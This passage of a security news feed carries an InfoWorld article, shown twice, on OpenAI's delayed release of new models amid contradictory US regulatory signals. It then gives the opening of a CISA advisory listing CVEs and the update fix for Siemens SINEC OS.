<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>As enterprises struggle to manage their AI strategies, the US AI regulatory environment is sending a wide range of contradictory signals. OpenAI’s Wednesday announcement that it will now release GPT-5.6 Sol, along with Terra and Luna, on Thursday highlights the confusion.</p>



<p>Initially, the US government said that it was asking OpenAI to <a href="https://www.infoworld.com/article/4190089/us-tells-openai-to-restrict-access-to-its-most-powerful-ai-model-2.html" target="_blank">limit access to its top models</a>, including the three releasing Thursday, to a short list of companies. OpenAI seemingly agreed and held back their general availability.</p>



<p>But on Wednesday, OpenAI reversed its position, with <a href="https://x.com/OpenAI/status/2074704958419792299?s=20" target="_blank" rel="noreferrer noopener">a statement on X</a> saying simply: “GPT-5.6 Sol, along with Terra and Luna, will launch publicly this Thursday. We’re expanding preview access globally now.” No details were released about the extent of the expansion.</p>



<p>Then the White House issued a statement, a copy of which it emailed to <em>InfoWorld</em>, saying that the US government “did not give OpenAI a ‘green light,’ approval or clearance to release its models. No such permission is required or granted. The Administration does not provide approvals for private companies to release AI models – decisions on timing and scope of releases rest entirely with the companies.”</p>



<p>The statement then quoted from the <a href="https://www.whitehouse.gov/presidential-actions/2026/06/promoting-advanced-artificial-intelligence-innovation-and-security/" target="_blank" rel="noreferrer noopener">June 2 White House executive order</a> that said, “nothing in this section shall be construed to authorize the creation of a mandatory governmental licensing, preclearance, or permitting requirement for the development, publication, release, or distribution of new AI models, including frontier models.” It also said, “any testing or meetings with government experts is voluntary. Participation is not required to release a model.”</p>



<p>Yet last month, the US Commerce Department weighed in <a href="https://www.cio.com/article/4186429/anthropic-fable-dispute-suggests-export-no-longer-means-what-it-used-to.html" target="_blank">on how Anthropic’s models can be distributed</a>. </p>



<h2 class="wp-block-heading">The ‘worst of both worlds’</h2>



<p><a href="https://www.linkedin.com/in/lewiscarhart/" target="_blank" rel="noreferrer noopener">Lewis Carhart</a>, CEO of software development firm Comp AI, said the statement is frustrating for IT executives on multiple fronts. </p>



<p>“Think about what that [White House statement] means. OpenAI stationed engineers in Washington for weeks, submitted to government testing, staggered its launch at the government’s request. And the official position is that none of that was required,” Carhart said. “We now have a de facto licensing regime that legally doesn’t exist. There’s no statute, no appeal process, no published criteria. Just [the US Department of] Commerce deciding model by model what ships and when.”</p>



<p>That’s the worst of both worlds, he noted: “All the friction of regulation with none of the predictability. Compliance people have a name for this – it’s an audit with no framework. And the precedent is now locked in for both frontier labs: if you build at the frontier, your launch calendar runs through Washington whether the law says so or not.”</p>



<p>Carhart argued that this regulatory reality should be of extreme concern to enterprise IT executives, given it indicates that model availability is now “a regulatory variable” not driven by the vendor roadmap.</p>



<p>“Anthropic’s most advanced models disappeared from the market for three weeks in June. It was not because of an outage, not because of a pricing change. It was because of an export control directive,” he pointed out. “If your AI architecture assumes the model you deployed today is available tomorrow, that assumption is now demonstrably false. Multi-model resilience just went from nice to have to a board-level risk item.”</p>



<p>It also offers an opportunity, given that a model that cleared government security testing is a model that auditors and boards sign off on faster. “Government review is quietly becoming a procurement asset,” he observed. “The CIOs who win here are the ones who treat ‘regulatory posture of the model itself’ as a line item in vendor risk assessments – most risk teams are still only looking at the provider’s SOC 2 attestation.”</p>



<p><a href="https://moorinsightsstrategy.com/team/jason-andersen/" target="_blank" rel="noreferrer noopener">Jason Andersen</a>, principal analyst at Moor Insights &amp; Strategy, agreed with Carhart and described the overall back-and-forth as “a bit of pageantry. OpenAI needs its model to look as powerful, potentially dangerous, as Anthropic’s so it can be a contender to be at the absolute frontier. It also helps to burnish OpenAI’s PR efforts to look more responsible than it has in the past.”</p>



<p>Furthermore, he added, “tech CEOs are acutely aware that flattery towards this administration could keep regulators or the threat of regulation at bay.”</p>



<h2 class="wp-block-heading">Criteria not clear</h2>



<p><a href="https://www.infotech.com/profiles/brian-jackson" target="_blank" rel="noreferrer noopener">Brian Jackson</a>, a principal research director at Info-Tech Research Group, echoed the political concerns. </p>



<p>“What’s still not clear is the actual criteria being used to deem the models safe for release. The government has said that it’s concerned about cybersecurity risk as well as the risk of AI being used to develop biological weapons,” he said. “But so long as the actual release criteria lack transparency, there will be some perception that the evaluation could be politically motivated.”</p>



<p>Jackson said that one, presumably unintended, result of the US government’s efforts to control AI rollouts is that it is making companies look far more seriously at using non-US vendors for AI strategies. </p>



<p>“Organizations are looking for alternatives to the private US-based cloud-delivered frontier models. That’s so they can maintain control over their AI supply chain,” he said. “Chinese open source models are one option that’s available, but there are other options too, from Canada and Europe. Companies can either set up AI access through other APIs not connected to US-based AI providers, or download open-source models to run locally.”</p>



<p>He noted that the added US regulatory risk means that some organizations will avoid becoming entrenched within OpenAI’s and Anthropic’s interfaces, where there’s no option to swap out the LLMs for an alternative.</p>



<h2 class="wp-block-heading">Impacts enterprise AI strategy</h2>



<p><a href="https://zenity.io/authors/rock-lambros" target="_blank" rel="noreferrer noopener">Rock Lambros</a>, director of AI standards and governance at AI agent vendor Zenity, shared the frustration that little to no actionable compliance data is being released. </p>



<p>“Nobody outside a closed room can tell you what standard [the model] passed because it was never written down. For two weeks, [US government officials] kept a model out of defenders’ hands that’s better at guarding your network than breaking into anyone else’s,” Lambros said. “Call that a security review if it helps you sleep better. But it reads to me like a bouncer working a velvet rope nobody hired him to run, waving people through today because he’s in a better mood than he was a couple of weeks ago.”</p>



<p>This unpredictability is likely to have impacts on AI strategy far beyond traditional compliance concerns, Lambros said.</p>



<p>“We’ve built way too much operational reliance on these models to hang it on a review with no rulebook,” he said, pointing out that hospitals, pipelines, banks and water utilities are relying on frontier AI whose availability “can swing from ‘on’ to ‘off’ to ‘on’ with no notice, no appeal, and no published standard behind any of it.”</p>



<p>“You can’t run critical infrastructure on a tool that runs fine Friday and is offline by Monday because an approval process nobody can see reached a verdict nobody can predict,” Lambros said. “That is a supply chain risk with a government hand on the switch, and almost nobody has priced it into a continuity plan.”</p>



<p>To protect themselves, companies need to adjust their expectations. “Treat model availability like any single point of failure you don’t own by standing up a fallback you’ve tested, getting a continuity clause in your contract, and drilling for the blackout, because ‘the government backed off this time’ is not a plan,” he advised.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI to release delayed models Thursday amidst a sea of regulatory confusion]]></title>
<description><![CDATA[As enterprises struggle to manage their AI strategies, the US AI regulatory environment is sending a wide range of contradictory signals. OpenAI’s Wednesday announcement that it will now release GPT-5.6 Sol, along with Terra and Luna, on Thursday highlights the confusion.



Initially, the US gov...]]></description>
<link>https://tsecurity.de/de/3655243/it-nachrichten/openai-to-release-delayed-models-thursday-amidst-a-sea-of-regulatory-confusion/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655243/it-nachrichten/openai-to-release-delayed-models-thursday-amidst-a-sea-of-regulatory-confusion/</guid>
<pubDate>Wed, 08 Jul 2026 21:02:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>As enterprises struggle to manage their AI strategies, the US AI regulatory environment is sending a wide range of contradictory signals. OpenAI’s Wednesday announcement that it will now release GPT-5.6 Sol, along with Terra and Luna, on Thursday highlights the confusion.</p>



<p>Initially, the US government said that it was asking OpenAI to <a href="https://www.infoworld.com/article/4190089/us-tells-openai-to-restrict-access-to-its-most-powerful-ai-model-2.html" target="_blank">limit access to its top models</a>, including the three releasing Thursday, to a short list of companies. OpenAI seemingly agreed and held back their general availability.</p>



<p>But on Wednesday, OpenAI reversed its position, with <a href="https://x.com/OpenAI/status/2074704958419792299?s=20" target="_blank" rel="noreferrer noopener">a statement on X</a> saying simply: “GPT-5.6 Sol, along with Terra and Luna, will launch publicly this Thursday. We’re expanding preview access globally now.” No details were released about the extent of the expansion.</p>



<p>Then the White House issued a statement, a copy of which it emailed to <em>InfoWorld</em>, saying that the US government “did not give OpenAI a ‘green light,’ approval or clearance to release its models. No such permission is required or granted. The Administration does not provide approvals for private companies to release AI models – decisions on timing and scope of releases rest entirely with the companies.”</p>



<p>The statement then quoted from the <a href="https://www.whitehouse.gov/presidential-actions/2026/06/promoting-advanced-artificial-intelligence-innovation-and-security/" target="_blank" rel="noreferrer noopener">June 2 White House executive order</a> that said, “nothing in this section shall be construed to authorize the creation of a mandatory governmental licensing, preclearance, or permitting requirement for the development, publication, release, or distribution of new AI models, including frontier models.” It also said, “any testing or meetings with government experts is voluntary. Participation is not required to release a model.”</p>



<p>Yet last month, the US Commerce Department weighed in <a href="https://www.cio.com/article/4186429/anthropic-fable-dispute-suggests-export-no-longer-means-what-it-used-to.html" target="_blank">on how Anthropic’s models can be distributed</a>. </p>



<h2 class="wp-block-heading">The ‘worst of both worlds’</h2>



<p><a href="https://www.linkedin.com/in/lewiscarhart/" target="_blank" rel="noreferrer noopener">Lewis Carhart</a>, CEO of software development firm Comp AI, said the statement is frustrating for IT executives on multiple fronts. </p>



<p>“Think about what that [White House statement] means. OpenAI stationed engineers in Washington for weeks, submitted to government testing, staggered its launch at the government’s request. And the official position is that none of that was required,” Carhart said. “We now have a de facto licensing regime that legally doesn’t exist. There’s no statute, no appeal process, no published criteria. Just [the US Department of] Commerce deciding model by model what ships and when.”</p>



<p>That’s the worst of both worlds, he noted: “All the friction of regulation with none of the predictability. Compliance people have a name for this – it’s an audit with no framework. And the precedent is now locked in for both frontier labs: if you build at the frontier, your launch calendar runs through Washington whether the law says so or not.”</p>



<p>Carhart argued that this regulatory reality should be of extreme concern to enterprise IT executives, given it indicates that model availability is now “a regulatory variable” not driven by the vendor roadmap.</p>



<p>“Anthropic’s most advanced models disappeared from the market for three weeks in June. It was not because of an outage, not because of a pricing change. It was because of an export control directive,” he pointed out. “If your AI architecture assumes the model you deployed today is available tomorrow, that assumption is now demonstrably false. Multi-model resilience just went from nice to have to a board-level risk item.”</p>



<p>It also offers an opportunity, given that a model that cleared government security testing is a model that auditors and boards sign off on faster. “Government review is quietly becoming a procurement asset,” he observed. “The CIOs who win here are the ones who treat ‘regulatory posture of the model itself’ as a line item in vendor risk assessments – most risk teams are still only looking at the provider’s SOC 2 attestation.”</p>



<p><a href="https://moorinsightsstrategy.com/team/jason-andersen/" target="_blank" rel="noreferrer noopener">Jason Andersen</a>, principal analyst at Moor Insights &amp; Strategy, agreed with Carhart and described the overall back-and-forth as “a bit of pageantry. OpenAI needs its model to look as powerful, potentially dangerous, as Anthropic’s so it can be a contender to be at the absolute frontier. It also helps to burnish OpenAI’s PR efforts to look more responsible than it has in the past.”</p>



<p>Furthermore, he added, “tech CEOs are acutely aware that flattery towards this administration could keep regulators or the threat of regulation at bay.”</p>



<h2 class="wp-block-heading">Criteria not clear</h2>



<p><a href="https://www.infotech.com/profiles/brian-jackson" target="_blank" rel="noreferrer noopener">Brian Jackson</a>, a principal research director at Info-Tech Research Group, echoed the political concerns. </p>



<p>“What’s still not clear is the actual criteria being used to deem the models safe for release. The government has said that it’s concerned about cybersecurity risk as well as the risk of AI being used to develop biological weapons,” he said. “But so long as the actual release criteria lack transparency, there will be some perception that the evaluation could be politically motivated.”</p>



<p>Jackson said that one, presumably unintended, result of the US government’s efforts to control AI rollouts is that it is making companies look far more seriously at using non-US vendors for AI strategies. </p>



<p>“Organizations are looking for alternatives to the private US-based cloud-delivered frontier models. That’s so they can maintain control over their AI supply chain,” he said. “Chinese open source models are one option that’s available, but there are other options too, from Canada and Europe. Companies can either set up AI access through other APIs not connected to US-based AI providers, or download open-source models to run locally.”</p>



<p>He noted that the added US regulatory risk means that some organizations will avoid becoming entrenched within OpenAI’s and Anthropic’s interfaces, where there’s no option to swap out the LLMs for an alternative.</p>



<h2 class="wp-block-heading">Impacts enterprise AI strategy</h2>



<p><a href="https://zenity.io/authors/rock-lambros" target="_blank" rel="noreferrer noopener">Rock Lambros</a>, director of AI standards and governance at AI agent vendor Zenity, shared the frustration that little to no actionable compliance data is being released. </p>



<p>“Nobody outside a closed room can tell you what standard [the model] passed because it was never written down. For two weeks, [US government officials] kept a model out of defenders’ hands that’s better at guarding your network than breaking into anyone else’s,” Lambros said. “Call that a security review if it helps you sleep better. But it reads to me like a bouncer working a velvet rope nobody hired him to run, waving people through today because he’s in a better mood than he was a couple of weeks ago.”</p>



<p>This unpredictability is likely to have impacts on AI strategy far beyond traditional compliance concerns, Lambros said.</p>



<p>“We’ve built way too much operational reliance on these models to hang it on a review with no rulebook,” he said, pointing out that hospitals, pipelines, banks and water utilities are relying on frontier AI whose availability “can swing from ‘on’ to ‘off’ to ‘on’ with no notice, no appeal, and no published standard behind any of it.”</p>



<p>“You can’t run critical infrastructure on a tool that runs fine Friday and is offline by Monday because an approval process nobody can see reached a verdict nobody can predict,” Lambros said. “That is a supply chain risk with a government hand on the switch, and almost nobody has priced it into a continuity plan.”</p>



<p>To protect themselves, companies need to adjust their expectations. “Treat model availability like any single point of failure you don’t own by standing up a fallback you’ve tested, getting a continuity clause in your contract, and drilling for the blackout, because ‘the government backed off this time’ is not a plan,” he advised.</p>



<p><em>This article originally appeared on <a href="https://www.infoworld.com/article/4194598/openai-to-release-delayed-models-thursday-amidst-a-sea-of-regulatory-confusion.html" target="_blank">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Siemens SINEC OS]]></title>
<description><![CDATA[View CSAF
Summary
SINEC OS before V4.0 contains multiple vulnerabilities. Siemens has released a new version for RUGGEDCOM RST2428P and recommends to update to the latest version.
The following versions of Siemens SINEC OS are affected:

RUGGEDCOM RST2428P (6GK6242-6PA00) vers:intdot/cork. The "*...]]></description>
<link>https://tsecurity.de/de/3652271/it-security-nachrichten/siemens-sinec-os/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652271/it-security-nachrichten/siemens-sinec-os/</guid>
<pubDate>Tue, 07 Jul 2026 18:55:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-188-05.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>SINEC OS before V4.0 contains multiple vulnerabilities. Siemens has released a new version for RUGGEDCOM RST2428P and recommends to update to the latest version.</strong></p>
<p>The following versions of Siemens SINEC OS are affected:</p>
<ul>
<li>RUGGEDCOM RST2428P (6GK6242-6PA00) vers:intdot/&lt;4.0 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 9.8</td>
<td>Siemens</td>
<td>Siemens SINEC OS</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer, Improper Resource Shutdown or Release, Integer Overflow or Wraparound, Stack-based Buffer Overflow, Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), Uncontrolled Recursion, Out-of-bounds Read, Covert Timing Channel, Improper Input Validation, Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), Improper Update of Reference Count, Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), Multiple Releases of Same Resource or Handle, Permissive Regular Expression, Expired Pointer Dereference, Incorrect Bitwise Shift of Integer, Out-of-bounds Write, User Interface (UI) Misrepresentation of Critical Information, Improper Access Control, Insertion of Sensitive Information Into Sent Data, Inefficient Algorithmic Complexity, Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), Authentication Bypass by Primary Weakness, NULL Pointer Dereference, Active Debug Code, Loop with Unreachable Exit Condition ('Infinite Loop'), Missing Synchronization, External Control of File Name or Path, Privilege Dropping / Lowering Errors, Use of Web Browser Cache Containing Sensitive Information</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing, Transportation Systems, Energy, Healthcare and Public Health, Financial Services, Government Services and Facilities</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-1352</a></h3>
<div class="csaf-accordion-content">
<p>A vulnerability has been found in GNU elfutils 0.192 and classified as critical. This vulnerability affects the function __libdw_thread_tail in the library libdw_alloc.c of the component eu-readelf. The manipulation of the argument w leads to memory corruption. The attack can be initiated remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The name of the patch is 2636426a091bd6c6f7f02e49ab20d4cdc6bfc753. It is recommended to apply a patch to fix this issue.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-1352">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/119.html">CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L">CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-1376</a></h3>
<div class="csaf-accordion-content">
<p>A vulnerability classified as problematic was found in GNU elfutils 0.192. This vulnerability affects the function elf_strptr in the library /libelf/elf_strptr.c of the component eu-strip. The manipulation leads to denial of service. It is possible to launch the attack on the local host. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The name of the patch is b16f441cca0a4841050e3215a9f120a6d8aea918. It is recommended to apply a patch to fix this issue.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-1376">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/404.html">CWE-404 Improper Resource Shutdown or Release</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>2.5</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-6052</a></h3>
<div class="csaf-accordion-content">
<p>A flaw was found in how GLib’s GString manages memory when adding data to strings. If a string is already very large, combining it with more input can cause a hidden overflow in the size calculation. This makes the system think it has enough memory when it doesn’t. As a result, data may be written past the end of the allocated memory, leading to crashes or memory corruption.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-6052">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.7</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-6141</a></h3>
<div class="csaf-accordion-content">
<p>A vulnerability has been found in GNU ncurses up to 6.5-20250322 and classified as problematic. This vulnerability affects the function postprocess_termcap of the file tinfo/parse_entry.c. The manipulation leads to stack-based buffer overflow. The attack needs to be approached locally. Upgrading to version 6.5-20250329 is able to address this issue. It is recommended to upgrade the affected component.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-6141">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/121.html">CWE-121 Stack-based Buffer Overflow</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.3</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-6170</a></h3>
<div class="csaf-accordion-content">
<p>A flaw was found in the interactive shell of the xmllint command-line tool, used for parsing XML files. When a user inputs an overly long command, the program does not check the input size properly, which can cause it to crash. This issue might allow attackers to run harmful code in rare configurations without modern protections.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-6170">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/121.html">CWE-121 Stack-based Buffer Overflow</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>2.5</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L">CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-7039</a></h3>
<div class="csaf-accordion-content">
<p>A flaw was found in glib. An integer overflow during temporary file creation leads to an out-of-bounds memory access, allowing an attacker to potentially perform path traversal or access private temporary file content by creating symbolic links. This vulnerability allows a local attacker to manipulate file paths and access unauthorized data. The core issue stems from insufficient validation of file path lengths during temporary file operations.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-7039">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SINEC OS</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>RUGGEDCOM RST2428P (6GK6242-6PA00)</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V4.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/110002573/">https://support.industry.siemens.com/cs/ww/en/view/110002573/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.7</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-8732</a></h3>
<div class="csaf-accordion-content">
<p>A vulnerability was found in libxml2 up to 2.14.5. It has been declared as problematic. This vulnerability affects the function xmlParseSGMLCatalog of the component xmlcatalog. The manipulation leads to uncontrolled recursion. Attacking locally is a requirement. The exploit has been disclosed to the public and may be used. The real existence of this vulnerability is still doubted at the moment. The code maintainer explains, that "[t]he issue can only be triggered with untrusted SGML catalogs and it makes absolutely no sense to use untrusted catalogs. I also doubt that anyone is still using SGML catalogs at all."</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-8732">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
